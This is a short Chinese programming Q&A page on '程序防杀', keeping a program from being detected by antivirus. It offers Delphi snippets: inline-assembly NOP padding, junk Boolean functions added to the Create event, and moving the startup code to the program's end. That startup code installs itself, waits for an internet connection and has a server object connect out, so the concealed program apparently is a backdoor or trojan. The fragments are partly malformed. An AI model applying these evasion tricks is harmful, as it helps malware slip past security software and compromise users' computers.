当前位置:编程学习 > 网站相关 >>

程序防杀

begin
asm //直接用汇编调用代码进行免杀处理源代码
call test
end;


Procedure test;
asm
nop
nop
nop
end;


asm
nop
nop
end;
------------------------------------------
我喜欢这样:
------------------------------------------
1,结尾处运行,如

begin
ReadSettings;
Install;

Serv := TServer.Create;
While Not (InternetGetConnectedState(NIL, 0)) Do Sleep(5000);
Serv.Connect;
end.
------------------------------------------
你可
Procedure Main;
ReadSettings;
Install;

Serv := TServer.Create;
While Not (InternetGetConnectedState(NIL, 0)) Do Sleep(5000);
Serv.Connect;
end;


2,在程序运行Create事件里加垃圾 Boolean类型函数如
function abcd:boolean;
begin
....
....
Result:= True;
end;

补充:综合编程 , 安全编程 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,